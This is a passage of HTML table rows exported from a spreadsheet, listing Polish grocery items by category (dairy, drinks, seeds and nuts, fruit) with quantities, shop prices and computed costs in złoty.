<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mieszanka Meksykańska "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mieszanka Meksykańska </td><td data-sheets-value="{"1":3,"3":480}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">480</td><td data-sheets-value="{"1":2,"2":"3,99 za 750 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za 750 g</td><td data-sheets-value="{"1":3,"3":2.55}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,55</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Nabiał "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Nabiał </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Jogurt Naturalny 2% "}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Jogurt Naturalny 2% </td><td data-sheets-value="{"1":3,"3":2660}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2660</td><td data-sheets-value="{"1":2,"2":"0,85 x 190 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,85 x 190 g</td><td data-sheets-value="{"1":3,"3":11.98}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">11,98</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mleko 2 % "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mleko 2 % </td><td data-sheets-value="{"1":3,"3":310}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">310</td><td data-sheets-value="{"1":2,"2":"0,19 za 100 ml"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,19 za 100 ml</td><td data-sheets-value="{"1":3,"3":0.58}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,58</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ser Kozi "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ser Kozi </td><td data-sheets-value="{"1":3,"3":92}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">92</td><td data-sheets-value="{"1":2,"2":"3,99 za 150 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za 150 g</td><td data-sheets-value="{"1":3,"3":2.44}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,44</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ser mozzarella"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ser mozzarella</td><td data-sheets-value="{"1":3,"3":35}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">35</td><td data-sheets-value="{"1":2,"2":"2,45 za 125 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,45 za 125 g</td><td data-sheets-value="{"1":3,"3":0.68}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,68</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ser Parmezan "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ser Parmezan </td><td data-sheets-value="{"1":3,"3":44}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">44</td><td data-sheets-value="{"1":2,"2":"64,95 za 1kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">64,95 za 1kg</td><td data-sheets-value="{"1":3,"3":2.85}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,85</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ser Typu Feta "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ser Typu Feta </td><td data-sheets-value="{"1":3,"3":194}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">194</td><td data-sheets-value="{"1":2,"2":"4,99 za 150 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,99 za 150 g</td><td data-sheets-value="{"1":3,"3":6.45}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,45</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ser Twarogowy Chudy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ser Twarogowy Chudy </td><td data-sheets-value="{"1":3,"3":420}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">420</td><td data-sheets-value="{"1":2,"2":"2,59 za 250 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,59 za 250 g</td><td data-sheets-value="{"1":3,"3":4.35}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,35</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Serek Typu Fromage "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Serek Typu Fromage </td><td data-sheets-value="{"1":3,"3":80}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">80</td><td data-sheets-value="{"1":2,"2":"4,49 za 200 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,49 za 200 g</td><td data-sheets-value="{"1":3,"3":1.79}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,79</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Napoje "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Napoje </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mleczko kokosowe "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mleczko kokosowe </td><td data-sheets-value="{"1":3,"3":280}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">280</td><td data-sheets-value="{"1":2,"2":"1,50 za 100 ml"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,50 za 100 ml</td><td data-sheets-value="{"1":3,"3":4.2}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,2</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Woda Mineralna "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Woda Mineralna </td><td data-sheets-value="{"1":3,"3":450}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">450</td><td data-sheets-value="{"1":2,"2":"0,99 za 1,5 l "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,99 za 1,5 l </td><td data-sheets-value="{"1":3,"3":0.29}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,29</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Sok ananasowy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Sok ananasowy </td><td data-sheets-value="{"1":3,"3":700}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">700</td><td data-sheets-value="{"1":2,"2":"2,49 za 250 ml"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,49 za 250 ml</td><td data-sheets-value="{"1":3,"3":6.97}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,97</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Nasiona\\ Orzechy "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Nasiona\ Orzechy </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pestki dyni "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pestki dyni </td><td data-sheets-value="{"1":3,"3":49}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">49</td><td data-sheets-value="{"1":2,"2":"4,99 za 100g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,99 za 100g</td><td data-sheets-value="{"1":3,"3":2.44}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,44</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Len nasiona "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Len nasiona </td><td data-sheets-value="{"1":3,"3":18}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">18</td><td data-sheets-value="{"1":2,"2":"4,10 za 400g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,10 za 400g</td><td data-sheets-value="{"1":3,"3":0.18}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,18</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Migdały"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Migdały</td><td data-sheets-value="{"1":3,"3":96}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">96</td><td data-sheets-value="{"1":2,"2":"6,99 za 100 "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,99 za 100 </td><td data-sheets-value="{"1":3,"3":6.71}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,71</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Orzechy Nerkowca "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Orzechy Nerkowca </td><td data-sheets-value="{"1":3,"3":50}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">50</td><td data-sheets-value="{"1":2,"2":"4,99 za 75 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,99 za 75 g</td><td data-sheets-value="{"1":3,"3":3.32}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,32</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Orzechy Arachidowe "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Orzechy Arachidowe </td><td data-sheets-value="{"1":3,"3":50}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">50</td><td data-sheets-value="{"1":2,"2":"15,29 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">15,29 zł za kg</td><td data-sheets-value="{"1":3,"3":0.76}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,76</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Orzechy Włoskie "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Orzechy Włoskie </td><td data-sheets-value="{"1":3,"3":238}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">238</td><td data-sheets-value="{"1":2,"2":"7,99 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">7,99 za 100 g</td><td data-sheets-value="{"1":3,"3":19.01}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">19,01</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Soczewica czerwona "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Soczewica czerwona </td><td data-sheets-value="{"1":3,"3":60}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">60</td><td data-sheets-value="{"1":2,"2":"3,69 zł za 500 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,69 zł za 500 g</td><td data-sheets-value="{"1":3,"3":0.44}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,44</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Owoce "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Owoce </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ananas "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ananas </td><td data-sheets-value="{"1":3,"3":280}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">280</td><td data-sheets-value="{"1":2,"2":"4,99 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,99 za kg </td><td data-sheets-value="{"1":3,"3":1.3972}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,39</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Banan "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Banan </td><td data-sheets-value="{"1":3,"3":3370}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3370</td><td data-sheets-value="{"1":2,"2":"2,95 za kg "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,95 za kg </td><td data-sheets-value="{"1":3,"3":9.941}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">9,94</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Brzoskwinia "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Brzoskwinia </td><td data-sheets-value="{"1":3,"3":580}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">580</td><td data-sheets-value="{"1":2,"2":"8,99 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">8,99 za kg</td><td data-sheets-value="{"1":3,"3":5.2142}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,2</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Cytryna "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Cytryna </td><td data-sheets-value="{"1":3,"3":308}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">308</td><td data-sheets-value="{"1":2,"2":"8,79 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">8,79 za kg</td><td data-sheets-value="{"1":3,"3":2.7}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,7</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Czarne jagody"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Czarne jagody</td><td data-sheets-value="{"1":3,"3":340}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">340</td><td data-sheets-value="{"1":2,"2":"7 zł za 250 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">7 zł za 250 g</td><td data-sheets-value="{"1":3,"3":9.52}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">9,52</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Gruszka "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Gruszka </td><td data-sheets-value="{"1":3,"3":960}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">960</td><td data-sheets-value="{"1":2,"2":"3,99 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 zł za kg</td><td data-sheets-value="{"1":3,"3":3.83}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,83</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Morele "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Morele </td><td data-sheets-value="{"1":3,"3":420}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">420</td><td data-sheets-value="{"1":2,"2":"12,19 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">12,19 zł za kg</td><td data-sheets-value="{"1":3,"3":5.11}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,11</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Kiwi "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Kiwi </td><td data-sheets-value="{"1":3,"3":130}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">130</td><td data-sheets-value="{"1":2,"2":"4,95 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,95 za kg</td><td data-sheets-value="{"1":3,"3":0.64}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,64</td></tr>
